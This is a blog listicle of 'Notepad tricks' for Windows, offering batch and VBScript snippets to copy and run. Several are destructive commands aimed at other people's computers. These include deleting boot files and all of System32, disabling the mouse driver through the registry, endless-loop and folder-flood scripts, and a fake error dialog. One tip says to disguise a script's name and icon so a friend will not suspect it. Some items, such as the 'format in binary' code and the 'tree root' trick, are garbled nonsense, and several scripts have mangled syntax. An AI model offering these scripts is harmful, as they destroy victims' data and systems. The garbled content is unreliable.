Cool Notepad Tricks You Should Know.

Almost everyone knows what notepad is, and despite being a simple looking and functioning application what kind of power it actually possesses. One can literally destroy someone’s PC using a notepad, one can also solve big problems using notepad. With the help of notepad, you can destroy someone's PC.With few lines of commands create interesting tricks that will definitely surprise you.

So let's Begin!


1.) Continually Pop Out CD Drive Using Notepad.

Continually pop out cd drive means making the cd drive pop again and again just copy the below code and paste in the notepad and save as a .vbs extension and then click on that file and what the cd drive.

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
 


 2.) Shutting Down Computer Using Notepad: 

Have you ever imagine that you can shut down your computer just by double clicking on the icon on your desktop instead of pressing the power key? Yes, it's possible just do the following thing.


Copy the below code and paste in notepad and save the code with a .vbs extension.

@echo off
msg * System will now shut down
shutdown -c “Bye!” –s


3.) Open Notepad Continually in any Computer:

  By this awesome trick, the notepad will open infinite times and you can't do anything unless you restart or shutdown the computer. So copy the below code and paste in the notepad save it as a .vbs file and open it to see what happens.

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


  4.) Make A Personal Log-Book or A Diary:

A special feature which allows us to make a log exists in notepad. Using it we can make lots of stuff as notepad will put the date and time for us whenever we open a specific type of Log file. For doing this, just type.LOG in the notepad and save it under any name that you wish. Now, whenever you’ll open this particular file, you’ll see that notepad automatically enters the date and time at which it is opened, and then you can make a log record and save the log.





5.) Matrix Effect :

Now we will see a notepad trick that can turn your command prompt something just look like a matrix movie or maybe something that looks like something straight out of a hacker’s system. To do this copy and paste the following code in notepad and save it as a .bat extension.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start


A small tweak to customize this cool effect is that you can change the value in front of color, i.e. 02 in color 02 to any other value like 03 for instance; this will change the color of the text that appears in the command prompt.



6. )Toggle Capslock Repeatedly Using Notepad:

You can play with someone’s computer, or maybe your own computer by writing a script that can toggle Caps Lock repeatedly.
Just copy and Paste the code written down below into notepad.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Now save it as a .vbs file and use it to see the magic


7.)Typing slow:

This one is my favorite. Completely harmless trick and perfect for playing pranks on one’s friends. This trick can really freak out anyone! Follow the below-mentioned steps to perform this trick. It does nothing but introduces a small delay between different strings it types.

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

copy and paste this code in notepad and save as .vbs 


8.) Converting Text to Speech Using Notepad.

In this trick, your computer will speak, the sentence you write in the dialog box as shown below. When you play it, you’ll get a dialog box asking what you want the computer to say. 


Just copy and paste the code in notepad and save it as a .vbs file

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message

9.) Changing Header and Footer in Notepad:

Go to File ->Page setup in notepad, and then in the fields for header and footer, type any of these codes.

&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number
&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow

10.)Deleting startup file using notepad
A way to devastate a PC would be to remove the files that help it to start up. Though not advisable, this is the code that has the power to do it.
This will shut the computer down and delete files required to get your computer into a normal state.
Don’t try doing this on your computer unless and until you wish to lose all your data.
@ECHO OFF
ATTRIB -R -S -H C:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -H C:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -H C:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -H C:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI
save it as a .bat file
11.)Deleting System32 files using notepad 
By using this trick it will delete System32 files which required to the system to work in order.
Just copy and paste the following code and save it as .bat file.
USE AT YOUR OWN RISK!
DEL C:\WINDOWS\SYSTEM32\*.*/Q

12.)Hit enter Continuously:
What if we wished to use the function of our enter button happen, again and again, a better idea than to press it, again and again, would be to use the code below
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
copy and paste in a notepad and save it as a .vbs file
13.)Hit backspace continuously:
Ok, we need the backspace button, but what are we wish to annoy someone and make it press itself, again and again, mechanically it would require some work on our part, but if we just use this code, it would become a lot easier.

MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Save as a .vbs file to make it work.
14.)Typing Something Again and Again:
A code to type something, again and again, is mentioned below, you can use it to write anything again and again and again until you get it out of the loop.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “I'll be typed again and again”
loop

save it as a .vbs file to make it work.
15.)Password protected  folder using notepad:
You can protect your files and folder using this notepad trick. A password protected file can be created using this few lines of code. So you can keep your confidential stuff safe. Copy the following code and paste in the notepad instead of using the "anonymous" written in the code, type the password of your wish. Save it as a .bat file and choose a file type as All files(*.*).Double click on the file private.bat. A Private folder will be created in which you can move the files and folders that you want to protect. Now, a password will be required to open this folder.
@ECHO OFF
title Folder Private
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p “pass=>”
if NOT %pass%==anonymous goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
16.)Shut down a computer with a message:
How about if you shut down a computer a message will appear of your own choice just by clicking on a simple icon instead of going to start menu and shutting down your computer. Yes, this is possible.
Open Notepad, type the following code and save the file with any name but with extension .bat




@echo off
msg * Computer will now shut down
shutdown -c “Sweet Dreams. Take care.” –s
17.)Fake windows error message:
Copy the following code and paste in the notepad and save it as a .vbs file. Click on that file.
X=Msgbox(“Press OK and Windows will restart now.”,0+16,“There is a serious problem in your system”)
18.)Test your antivirus with notepad:

This is an amazing Notepad trick to check your antivirus program. You have to follow some basic steps.
  • Open Notepad and paste below codes.
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

  • And Now save this file as anyname.exe
  • So, if your antivirus is working perfectly then your antivirus will tell you to delete this file.
  • If nothing happens then just change your antivirus Now.
19.)Force windows to shutdown:

With the help of this trick, your windows will shut down forcedly.
  • Just open notepad
  • Paste @echo off in next line.
  • Paste *shutdown computer in next line.
  • Paste shutdown –c “sleep tight” –s
  • Save this file as Shut.bat
  • Then just open that notepad and then your PC will automatically shut down.
20.)Format a hard disk using this notepad tricks:

This code will delete all your hard drive data. Just copy the below code and paste in notepad and save it as “anyname.exe”.

01100110011011110111001001101101011000010111010000100000011000110011101001011100 0010000000101111010100010010111101011000

21.)Convert text into audio:

This is a very cool notepad trick and this code will convert your text into an audio file. Just copy the below code and paste it into notepad and save it as “text-to-audio.vbs”

Dim message, sapi message=InputBox(“Enter your text for conversion–Tech-hacks.org”,”Hover pc Hacks Text-To-Audio Converter”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message

22.)The trick to print tree root:

This trick is one of the Best Notepad Trick that will print out a tree root on your screen. Just copy below code, paste it into notepad and save it as teekids in C:windows system.

{print tree root}
C:windowssystem
{print C:windowssystemwinlog

4*43″$@[455] 3hr4~

23.)Led dance of your keyboard:

Simply open Notepad and enter the following code and save the file as “LEDDance.vbs”. Once you open the saved file, you will see all three LED lights of a keyboard will start to blink repeatedly.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop

24.)Disable mouse control:

Well, you should never try this on your computer, because this method disables the mouse controls on your computer.
rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

25.)Bush hide the fact:
Well, this trick will only work on older version of windows. You just need to open the Notepad and type “bush hid the facts” or “this app can break”. Save it and open it again. You will see different characters instead of what you typed. Well, this happens because of a bug that is present in an older version of windows.

26.)How to create a more than 3000 folder in a minute:
Open the notepad copy the following code and paste it and save it as 1000.bat 

@echo off
:top
md %random%
goto top
NOTE: The folders will get created in the directory where you saved the ”1000.bat” file. The file might look suspicious to your friends. So if you are looking to fool your friends, then change the file name and also the icon so that he doesn’t suspect the file to be a virus.

27.)Shutdown a computer forever:
Now Please don’t try this because this is the simplest and deadliest hack for your windows computer.
  • Copy the following code into your notepad
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windows
win.ini
del c:windowswin.ini
  • Save it as “shutdown-forever.bat”. Just make sure it has a .bat or .cmd extension.
DONT RUN THE BATCH FILE, YOU WON'T RECOVER BACK AFTER YOU RUN IT !!!
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. So please, use this hack only if you have no intention of rebooting your computer again. So just be careful.






SHARE

Dron Patel

’Hi I am Dron Patel 3rd year computer engineering student. ’ I am passionate about ethical hacking’ Inspired to make things looks better.

    Dribble
  • Image
  • Image
  • Image
  • Image
  • Image
    Blogger Comment
    Facebook Comment

0 comments:

Post a Comment